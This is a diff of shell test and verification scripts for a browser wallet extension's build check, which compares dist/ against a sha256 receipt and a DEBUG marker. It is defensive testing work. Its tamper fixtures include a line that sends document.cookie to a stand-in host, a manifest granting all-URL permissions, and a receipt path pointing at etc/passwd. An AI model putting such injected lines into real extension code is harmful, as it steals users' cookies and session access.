 c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
 
-c_manifest_missing() { rm dist/constants-bundles.txt; }
+c_receipt_missing() { rm "$RECEIPT"; }
 
-c_manifest_empty() { : >dist/constants-bundles.txt; }
+c_receipt_empty() { : >"$RECEIPT"; }
 
-c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
+c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
 
-c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
+c_receipt_bad_header() {
+    write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
+}
 
-c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
+c_receipt_other_tree() {
+    write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
+}
 
-c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+c_receipt_path_with_space() {
+    write_receipt
+    printf 'file %s P dist/two words.js\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
 
-c_unlisted_extension() {
+c_receipt_path_outside_dist() {
+    write_receipt
+    printf 'file %s P etc/passwd\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
+
+c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
+
+c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
+
+c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
+
+c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+
+c_extra_file_with_marker() {
     cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
 }
 
-c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
+c_extra_file_no_marker() {
+    printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
+}
+
+# The four demonstrated bypasses of the pre-receipt verifier.
+
+# A 26-byte file whose entire content is the marker string used to verify ok.
+c_marker_only_stub() {
+    printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
+}
+
+# The content script runs on every page the browser loads and was never read.
+c_tampered_content_script() {
+    printf 'fetch("https://example.invalid/"+document.cookie);\n' \
+        >>dist/chrome/src/content/index.js
+}
+
+# The manifest decides permissions and CSP and was never read either.
+c_tampered_manifest() {
+    printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
+        >dist/chrome/manifest.json
+}
+
+# A dist/ that has nothing to do with this build, carrying the right file
+# names and the right marker, offered against this build's receipt.
+c_foreign_dist() {
+    rm -rf dist
+    mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
+    printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
+    printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
+    printf 'body{color:#fff}\n' >dist/styles.css
+}
+
+# Cases that state what the build itself emitted, and so regenerate the
+# receipt over the changed bytes.
+
+c_no_marker() {
+    printf 'var d=4;\n' >dist/chrome/src/popup/index.js
+    write_receipt
+}
 
 c_both_markers() {
     printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
+    write_receipt
+}
+
+c_marker_on_plain_file() {
+    printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
+        >dist/chrome/src/content/index.js
+    write_receipt
+}
+
+c_debug_build() {
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
+    write_receipt
+}
+
+c_no_dist() { rm -rf dist; }
+
+# --- dist discard -----------------------------------------------------------
+#
+# make build wraps every step of the release path in
+# script/discard-dist-on-failure, so a release build that fails removes dist/:
+# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
+# debug bundle whose every wallet uses the publicly committed test recovery
+# phrase, and a loud failure alone does not stop someone loading dist/chrome/
+# anyway. make build-debug is deliberately not wrapped.
+#
+# Both directions are asserted against the state of dist/ ON DISK after the run,
+# not against the exit status: a case reading only the status would keep passing
+# if the removal quietly stopped happening, which is the flip this exists to
+# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
+# symlink in the fixture's script/ — with trivial commands standing in for the
+# build steps, because what is under test is what happens after a step says no,
+# not the step.
+
+# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
+discard_case() {
+    _dc_name="$1"
+    _dc_setup="$2"
+    _dc_want_status="$3"
+    _dc_want_dist="$4"
+    _dc_want="$5"
+    _dc_unwanted="$6"
+    shift 6
+
+    build_fixture
+    if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_dc_name"
+        echo "    the case's own setup failed, so nothing was tested."
+        return 0
+    fi
+
+    _dc_status=0
+    _dc_out="$(cd "$FIXTURE" &&
+        "$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
+
+    _ok=yes
+    _why=""
+
+    if [ "$_dc_status" -ne "$_dc_want_status" ]; then
+        _ok=no
+        _why="exit status $_dc_status, wanted $_dc_want_status"
+    fi
+
+    # The assertion this case exists for: what is on disk now.
+    if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
+        _dc_dist=kept
+    else
+        _dc_dist=gone
+    fi
+    if [ "$_dc_dist" != "$_dc_want_dist" ]; then
+        _ok=no
+        _why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
+        _why="$_why $_dc_want_dist"
+    elif [ "$_dc_want_dist" = kept ] &&
+        [ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
+        # Kept has to mean intact: a dist/ emptied out is not one left alone.
+        _ok=no
+        _why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
+    fi
+
+    _dc_check_message "$_dc_want" want
+    _dc_check_message "$_dc_unwanted" unwanted
+
+    if [ "$_ok" = yes ]; then
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_dc_name"
+        return 0
+    fi
+
+    FAILED=$((FAILED + 1))
+    echo "  FAIL: $_dc_name"
+    echo "    $_why"
+    echo "    --- discard-dist-on-failure output ---"
+    printf '%s\n' "$_dc_out" | sed 's/^/    /'
+    echo "    --- end output ---"
+}
+
+# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
+# output, updating _ok and _why. An empty substring asserts nothing. Same grep
+# discipline as everywhere else here: 0 and 1 are answers, anything else means
+# the message was never checked.
+_dc_check_message() {
+    [ -n "$1" ] || return 0
+
+    _dcm_g=0
+    printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
+    case "$_dcm_g" in
+    0)
+        [ "$2" = unwanted ] || return 0
+        _ok=no
+        _why="${_why:+$_why; }message contained: $1"
+        ;;
+    1)
+        [ "$2" = want ] || return 0
+        _ok=no
+        _why="${_why:+$_why; }message did not contain: $1"
+        ;;
+    *)
+        _ok=no
+        _why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
+      message was never checked"
+        ;;
+    esac
+}
+
+# --- Makefile wiring --------------------------------------------------------
+
+# The verifier cases above prove what verify-build does when it is told what to
+# expect, and the discard cases prove what the wrapper does with dist/. This
+# proves the Makefile wires both up — the mode as an argument, on a scrubbed
+# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
+# shell that ran make, and the wrapper on the release path only. Read off
+# `make -n`, so no build runs.
+check_makefile_wiring() {
+    if ! command -v make >/dev/null 2>&1; then
+        SKIPPED=$((SKIPPED + 1))
+        SKIPPED_NAMES="$SKIPPED_NAMES##   - Makefile wiring (make not found)$NEWLINE"
+        echo "  SKIP (make not found): Makefile wiring"
+        return 0
+    fi
+
+    # make build must ask for release, and must scrub the flag from the
+    # verifier's environment, even when the caller has it exported.
+    _wiring_case "make build passes --expect release" \
+        build "verify-build --expect release"
+    _wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
+        build "env -u AUTISTMASK_DEBUG"
+    _wiring_case "make build-debug passes --expect debug" \
+        build-debug "verify-build --expect debug"
+    _wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
+        build-debug "env -u AUTISTMASK_DEBUG"
+
+    # The release path runs its steps through the wrapper, including the final
+    # check-censored pass; the debug path runs none of them through it, which is
+    # what keeps a failed debug build's dist/ on disk.
+    _wiring_case "make build wraps its steps in discard-dist-on-failure" \
+        build "script/discard-dist-on-failure"
+    _wiring_case "make build wraps check-censored --require-dist too" \
+        build "script/discard-dist-on-failure script/check-censored"
+    _wiring_case_absent "make build-debug never discards its dist/" \
+        build-debug "discard-dist-on-failure"
+}
+
+# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
+# non-zero, having already reported the failure, when make itself failed: a
+# recipe that could not be printed was never checked.
+_wiring_make_n() {
+    AUTISTMASK_DEBUG=1
+    export AUTISTMASK_DEBUG
+    _wc_status=0
+    _wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
+    unset AUTISTMASK_DEBUG
+
+    [ "$_wc_status" -ne 0 ] || return 0
+
+    FAILED=$((FAILED + 1))
+    echo "  FAIL: $_wc_name"
+    echo "    make -n $_wc_target exited $_wc_status"
+    return 1
+}
+
+_wiring_case() {
+    _wc_name="$1"
+    _wc_target="$2"
+    _wc_want="$3"
+
+    _wiring_make_n || return 0
+
+    _wc_g=0
+    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
+    case "$_wc_g" in
+    0)
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_wc_name"
+        ;;
+    1)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target does not run: $_wc_want"
+        ;;
+    *)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    grep exited $_wc_g, so the recipe was never checked"
+        ;;
+    esac
+}
+
+# The inverse: the recipe must NOT run something.
+_wiring_case_absent() {
+    _wc_name="$1"
+    _wc_target="$2"
+    _wc_want="$3"
+
+    _wiring_make_n || return 0
+
+    _wc_g=0
+    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
+    case "$_wc_g" in
+    1)
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_wc_name"
+        ;;
+    0)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target runs: $_wc_want"
+        ;;
+    *)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    grep exited $_wc_g, so the recipe was never checked"
+        ;;
+    esac
 }
 
 run_cases() {
     check_case "control: untouched dist passes" \
-        no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
+        no release 0 "2 bundle(s) $MARKER_OFF" c_control
 
-    check_case "unlisted marker-carrying file, trailing space in name" \
-        no release 1 "carries a debug marker but is absent from" \
+    check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
+        no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
+
+    check_case "debug bundles under --expect release fail (make build with
+        AUTISTMASK_DEBUG=1 exported)" \
+        no release-envdebug 1 \
+        "is $MARKER_ON but this build was told to expect" c_debug_build
+
+    check_case "debug bundles under --expect debug pass" \
+        no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
+
+    check_case "no --expect argument" \
+        no no-expect 1 "no --expect argument." c_control
+
+    check_case "no --receipt argument" \
+        no no-receipt 1 "no --receipt argument." c_control
+
+    check_case "--expect takes release or debug" \
+        no bad-expect 1 "--expect takes release or debug" c_control
+
+    check_case "unknown argument" \
+        no unknown-arg 1 "unknown argument: --force" c_control
+
+    check_case "receipt inside the tree it describes" \
+        no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
+
+    check_case "bundle replaced by a file containing only the marker" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_marker_only_stub
+
+    check_case "content script tampered with after the build" \
+        no release 1 \
+        "dist/chrome/src/content/index.js does not contain the bytes" \
+        c_tampered_content_script
+
+    check_case "manifest.json tampered with after the build" \
+        no release 1 "dist/chrome/manifest.json does not contain the bytes" \
+        c_tampered_manifest
+
+    check_case "hand-written dist/ offered against this build's receipt" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_foreign_dist
+
+    check_case "extra file under dist/ carrying a marker" \
+        no release 1 \
+        "dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
+        c_extra_file_with_marker
+
+    check_case "extra file under dist/ carrying no marker" \
+        no release 1 \
+        "dist/chrome/src/popup/vendor.js is under dist/ but the build" \
+        c_extra_file_no_marker
+
+    check_case "extra file, trailing space in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_trailing_space
 
-    check_case "unlisted marker-carrying file, newline in name" \
-        no release 1 "carries a debug marker but is absent from" \
+    check_case "extra file, newline in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_embedded_newline
 
     check_case "dist/ replaced by a symlink" \
@@ -342,64 +812,100 @@ run_cases() {
 
     check_case "dangling symlink under dist/" \
         no release 1 \
-        "reading dist/chrome/dangling.js, so the file could not be" \
-        c_dangling_symlink
+        "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
 
     check_case "symlink to a directory under dist/" \
         no release 1 \
-        "reading dist/chrome/link-to-dir, so the file could not be" \
-        c_dir_symlink
+        "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
 
-    check_case "symlink to a listed bundle under an unlisted path" \
+    check_case "symlink aliasing an emitted bundle under another path" \
         no release 1 \
-        "dist/chrome/src/aliased.js carries a debug marker but is absent" \
-        c_alias_symlink
+        "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
 
-    check_case "manifest missing" \
-        no release 1 "dist/constants-bundles.txt is missing." \
-        c_manifest_missing
+    check_case "receipt missing" \
+        no release 1 "is missing. build.js writes it" c_receipt_missing
 
-    check_case "manifest empty" \
-        no release 1 "is empty, so no emitted bundle was found to contain" \
-        c_manifest_empty
+    check_case "receipt empty" \
+        no release 1 "is empty, so the build wrote nothing to it" \
+        c_receipt_empty
 
-    check_case "manifest unreadable" \
+    check_case "receipt unreadable" \
         yes release 1 "is not readable, so nothing was inspected." \
-        c_manifest_unreadable
+        c_receipt_unreadable
 
-    check_case "listed bundle missing" \
+    check_case "receipt is not a build receipt" \
+        no release 1 "does not start with" c_receipt_bad_header
+
+    check_case "receipt from a different checkout" \
+        no release 1 "was written by a build of a different tree" \
+        c_receipt_other_tree
+
+    check_case "receipt names a path containing a space" \
+        no release 1 "cannot be read back unambiguously" \
+        c_receipt_path_with_space
+
+    check_case "receipt names a path outside dist/" \
+        no release 1 "names a path that is not under dist/" \
+        c_receipt_path_outside_dist
+
+    check_case "emitted file missing" \
         no release 1 \
-        "lists dist/chrome/src/popup/index.js, which does not exist." \
-        c_bundle_missing
+        "names dist/chrome/src/popup/index.js, which does not exist." \
+        c_emitted_missing
 
-    check_case "listed bundle empty" \
-        no release 1 "which is empty. An empty bundle" c_bundle_empty
+    check_case "emitted file empty" \
+        no release 1 "which is empty. An empty file" c_emitted_empty
 
-    check_case "listed bundle unreadable" \
+    check_case "emitted file unreadable" \
         yes release 1 \
-        "reading dist/chrome/src/popup/index.js, so the file could not be" \
-        c_bundle_unreadable
+        "on dist/chrome/src/popup/index.js, so its bytes were never read" \
+        c_emitted_unreadable
 
-    check_case "unlisted extension carrying a marker" \
-        no release 1 \
-        "dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
-        c_unlisted_extension
-
-    check_case "listed bundle carries no marker" \
+    check_case "emitted bundle carries no marker" \
         no release 1 "carries no debug marker, so its DEBUG state cannot be" \
         c_no_marker
 
-    check_case "listed bundle carries both markers" \
+    check_case "emitted bundle carries both markers" \
         no release 1 "carries both debug markers, so DEBUG was not resolved" \
         c_both_markers
 
-    check_case "wrong marker for the requested mode" \
-        no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
-        c_control
+    check_case "marker on a file the build did not record as a bundle" \
+        no release 1 "carries a debug marker but the build did not" \
+        c_marker_on_plain_file
+
+    discard_case "a failed release build step removes dist/" \
+        c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
+
+    discard_case "a successful release build step leaves dist/ alone" \
+        c_control 0 kept "" "REMOVED" true
+
+    discard_case "a failed release build step with no dist/ says there was none" \
+        c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
+
+    discard_case "the wrapper given no command removes nothing" \
+        c_control 1 kept "no command given" ""
+
+    check_makefile_wiring
 }
 
 # --- main --------------------------------------------------------------------
 
+# The harness cannot build a receipt without a digest, so a missing sha256
+# command is a failure here rather than a silent reduction in coverage.
+pick_sha256_tool() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256_CMD="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256_CMD="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256_CMD="openssl dgst -sha256 -r"
+    else
+        echo "test-verify-build: no sha256 command found (tried sha256sum," \
+            "shasum, openssl), so no fixture receipt can be written" >&2
+        exit 1
+    fi
+}
+
 main() {
     cd "$ROOT"
 
@@ -407,8 +913,13 @@ main() {
         echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
         exit 1
     }
+    [ -x "$DISCARD_DIST" ] || {
+        echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
+        exit 1
+    }
 
     echo "Testing script/verify-build failure modes..."
+    pick_sha256_tool
     probe_permission_runner
     if [ "$PERM_ENABLED" = yes ]; then
         echo "  permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +937,11 @@ main() {
     if [ "$SKIPPED" -ne 0 ]; then
         cat <<EOF
 ################################################################################
-## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
-## PROVE THEM. This process is uid $(id -u), and no runner subject to file
-## permissions was available. Tried: $PERM_HOW.
-## Under root, chmod 000 stops neither find nor grep, so these cases would
-## have passed without testing anything. They were skipped, not counted:
+## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
+## This process is uid $(id -u), and no runner subject to file permissions was
+## available. Tried: $PERM_HOW.
+## Under root, chmod 000 stops neither find nor grep, so the permission cases
+## would have passed without testing anything. They were skipped, not counted:
 $SKIPPED_NAMES################################################################################
 EOF
         echo "test-verify-build: $PASSED case(s) passed," \

script/verify-build

@@ -1,45 +1,97 @@
 #!/bin/sh
-# script/verify-build: assert the compiled DEBUG state of the emitted
-# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
-# make build / make build-debug.
+# script/verify-build: assert that the regular files and symlinks under dist/
+# are exactly what the build that just ran emitted (other file types are out of
+# scope; see "What that does and does not establish" below), and that the
+# compiled DEBUG state of that output is the one the caller asked for. Our own
+# extension to scripts-to-rule-them-all, run at the end of make build /
+# make build-debug.
 #
-# Why this exists: DEBUG makes the publicly committed test recovery phrase the
-# output of wallet creation, so a release artifact built with it live hands
-# every new wallet to anyone who reads the repo. The test suite cannot see
-# this, because it loads src/shared/constants.js outside a bundle and takes
-# the fallback branch; the property only exists in the emitted output, so it
-# has to be asserted against the emitted output.
+# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
+# phrase the output of wallet creation, so a release artifact built with it live
+# hands every new wallet to anyone who reads the repo. The test suite cannot see
+# this, because it loads src/shared/constants.js outside a bundle and takes the
+# fallback branch; the property only exists in the emitted output, so it has to
+# be asserted against the emitted output.
 #
-# What it reads: dist/constants-bundles.txt, written by build.js from
-# esbuild's metafile, naming every emitted bundle that contains
-# src/shared/constants.js. Each of those must carry exactly one of the two
-# BUILD_DEBUG_MARKER literals that constants.js folds down to.
+# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
+# taken from this script's environment. It used to be read from
+# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
+# exported in their shell could run the release target, get a debug build, and
+# have it verified green and exit 0. There is also no default: a caller that
+# does not say what it built gets a failure, because "no opinion" is not a
+# state this can check anything against.
 #
-# It fails rather than passes whenever it cannot determine a bundle's state.
-# Minified output is not a stable contract, so "matched neither form" is not
-# evidence of anything and must never read as green.
+# Why the provenance half exists: on its own, a marker grep proves nothing
+# about where the bytes came from. A 26-byte file containing only the marker
+# string used to verify ok; the content script and manifest.json were not read
+# at all; an entire hand-written dist/ passed. The list of files to check has
+# therefore moved OUT of dist/: build.js writes a receipt naming every file it
+# emitted, with each file's sha256 and whether it is one of the bundles
+# containing src/shared/constants.js, and the Makefile creates that receipt
+# path fresh per invocation, outside the repo, and deletes it afterwards.
+#
+# What that does and does not establish. It establishes that dist/ is byte for
+# byte the output of the build.js run that just finished, with no regular file
+# or symlink added, missing or altered in between, and that the audited bundles
+# in it compiled to the requested mode. Regular files and symlinks are the whole
+# of what the tree walk covers; fifos, sockets, device nodes and empty
+# directories under dist/ are not checked, because a build emits none of them,
+# none can carry a shippable payload, and grep on a fifo would hang rather than
+# fail. It does NOT establish that the source tree or build.js were honest, and
+# it says nothing at all to someone handed a dist/ from elsewhere: without the
+# receipt from its own build they have no input to this check. That is signing,
+# and it is not this control.
+#
+# It fails rather than passes whenever it cannot determine something. Minified
+# output is not a stable contract, so "matched neither marker" is not evidence
+# of anything and must never read as green; the same discipline applies to
+# every read here, which is why a grep or a digest that could not be taken is
+# a hard failure and not an absence of a problem.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
 # Absolute path to this script, resolved before anything cd's anywhere.
-# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
+# check_dist_tree re-invokes it through xargs, and $0 on its own may be
 # relative to a directory we are about to leave.
 SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
 
 # Internal re-entry flag; see scan_dist_paths.
 SCAN_FLAG="--scan-dist-paths"
 
-# A literal newline, for the is_listed guard.
+# A literal newline and tab, for the receipt-shape guards.
 NEWLINE='
 '
+TAB='	'
 
-MANIFEST="dist/constants-bundles.txt"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
-# Set by read_marker.
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
+# Set by the arguments.
+RECEIPT=""
+EXPECT=""
+
+# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
+# receipt line number the diagnostics quote.
 MARKER=""
+SHA=""
+ENTRY_HASH=""
+ENTRY_FLAG=""
+ENTRY_PATH=""
+LINENO_R=0
+
+# The sha256 command, chosen by pick_sha256.
+SHA256=""
+
+# Totals: the shape pass counts what the receipt claims, the entries pass
+# counts what was actually checked against dist/, and the summary reports the
+# latter.
+SHAPE_COUNT=0
+SHAPE_AUDITED=0
+COUNT=0
+AUDITED=0
 
 # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
 # trap because fail() exits from wherever it is called.
@@ -50,11 +102,17 @@ fail() {
     exit 1
 }
 
+usage() {
+    echo "usage: verify-build --expect release|debug --receipt PATH" >&2
+}
+
 cleanup() {
     [ -z "$LISTING" ] || rm -f "$LISTING"
 }
 trap cleanup EXIT
 
+# --- reading files ----------------------------------------------------------
+
 # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
 # (exit 1) are answers about the emitted output. Anything else (exit 2: the
 # file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +132,46 @@ has_marker() {
     esac
 }
 
-# Does the manifest list the path $1, as a whole line? Same discipline as
-# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
-# manifest could not be read and is not an answer at all. Without this, an
-# unreadable manifest reads as "this file is not listed" and every emitted
-# bundle gets reported as an unlisted one.
-#
-# A path containing a newline is answered without asking grep, because grep
-# would read the pattern as two patterns and report a match on either. That is
-# how such a path escaped this check even once the walk stopped splitting it:
-# the half before the newline matched a listed line and the file was skipped.
-# The manifest is line-delimited, so it cannot name such a path at all, and
-# "not listed" is the only true answer.
-is_listed() {
-    case "$1" in
-    *"$NEWLINE"*) return 1 ;;
-    esac
-    _il_status=0
-    grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
-    case "$_il_status" in
-    0) return 0 ;;
-    1) return 1 ;;
-    *)
-        fail "grep exited $_il_status reading $MANIFEST, so it could not be
-    searched and nothing was established about which bundles it lists. That is
-    a permissions or I/O fault on the manifest, not a stale manifest. Refusing
-    to report success."
+# Pick the sha256 command once. All three print the digest as the first
+# whitespace-delimited field. If none is present the digests cannot be taken at
+# all, and this script has nothing left to check with, so it fails rather than
+# degrading to the marker grep it used to be.
+pick_sha256() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256="openssl dgst -sha256 -r"
+    else
+        fail "no sha256 command found (tried sha256sum, shasum, openssl), so
+    the emitted files cannot be checked against the build receipt at all.
+    Refusing to report success."
+    fi
+}
+
+# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
+# not a pass: it means the artifact was never read.
+read_sha256() {
+    _rs_status=0
+    # Word-split on purpose: SHA256 is a command with its arguments.
+    # shellcheck disable=SC2086
+    _rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
+    [ "$_rs_status" -eq 0 ] ||
+        fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
+    and nothing was established about them. That is a permissions or I/O fault
+    on the artifact, not a mismatch. Refusing to report success."
+
+    SHA="${_rs_out%% *}"
+    case "$SHA" in
+    "" | *[!0-9a-f]*)
+        fail "$SHA256 produced no usable digest for $1, so its bytes were never
+    checked. Refusing to report success."
         ;;
     esac
+    [ "${#SHA}" -eq 64 ] ||
+        fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
+    a sha256. Refusing to report success."
 }
 
 # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,48 +210,199 @@ read_marker() {
     fi
 }
 
-# The manifest says which bundles must carry a marker. This says no other
-# emitted file may carry one, which catches a manifest that has gone stale
-# or short rather than trusting whatever it happens to list.
+# --- the receipt ------------------------------------------------------------
+
+# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
+# ENTRY_PATH, and require the shape rather than assuming it. The path is the
+# remainder of the line, so a path carrying a space or a tab would be read back
+# as something other than what was written; build.js refuses to emit such a
+# name, and a receipt that contains one is malformed rather than describing a
+# file. Every rejection here is a failure: a line that cannot be understood is
+# a file that would otherwise go unchecked.
+parse_file_line() {
+    case "$1" in
+    "file "*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R is not a file entry and this script does
+    not know what it means: ${1}. Refusing to report success."
+        ;;
+    esac
+
+    _pl="${1#file }"
+    ENTRY_HASH="${_pl%% *}"
+    _pl="${_pl#* }"
+    ENTRY_FLAG="${_pl%% *}"
+    ENTRY_PATH="${_pl#* }"
+
+    case "$ENTRY_HASH" in
+    "" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
+    esac
+    [ "${#ENTRY_HASH}" -eq 64 ] ||
+        fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
+    which is not a sha256: $1"
+
+    case "$ENTRY_FLAG" in
+    A | P) ;;
+    *) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
+    esac
+
+    case "$ENTRY_PATH" in
+    dist/*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
+    $ENTRY_PATH. The receipt describes the emitted tree and nothing else."
+        ;;
+    esac
+    case "$ENTRY_PATH" in
+    *" "* | *"$TAB"* | *"$NEWLINE"*)
+        fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
+    cannot be read back unambiguously from a line-oriented receipt: $1"
+        ;;
+    esac
+}
+
+# Check one emitted file against its receipt entry: it must be a regular file
+# with exactly the recorded bytes, and its debug marker must match what the
+# caller said this build was.
+check_entry() {
+    [ ! -h "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH but that path is a symlink. The
+    build emits regular files only, so this is not the file it wrote. Refusing
+    to report success."
+    [ -f "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
+    not hold what the build emitted."
+    [ -s "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which is empty. An empty file
+    carries no marker and matches no digest, so this is a failure and not a
+    pass."
+
+    read_sha256 "$ENTRY_PATH"
+    [ "$SHA" = "$ENTRY_HASH" ] ||
+        fail "$ENTRY_PATH does not contain the bytes this build emitted: the
+    receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
+    to dist/ after the build, so this artifact is not the one that was built."
+
+    if [ "$ENTRY_FLAG" = A ]; then
+        read_marker "$ENTRY_PATH"
+        [ "$MARKER" = "$EXPECT" ] ||
+            fail "$ENTRY_PATH is $MARKER but this build was told to expect
+    $EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
+    build, that is why: the flag still reaches the compiler, and this is the
+    check that stops the debug artifact being taken for a release one."
+        echo "  ok: $ENTRY_PATH ($MARKER)"
+        AUDITED=$((AUDITED + 1))
+    else
+        if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
+            has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
+            fail "$ENTRY_PATH carries a debug marker but the build did not
+    record it as containing src/shared/constants.js. build.js selects audited
+    bundles with an endsWith(\".js\") test; a marker-carrying file outside that
+    set means the test no longer describes what is emitted, and the DEBUG state
+    of this file was never asserted against anything."
+        fi
+    fi
+    COUNT=$((COUNT + 1))
+}
+
+# Walk the receipt line by line, applying $1 to each file entry. The header and
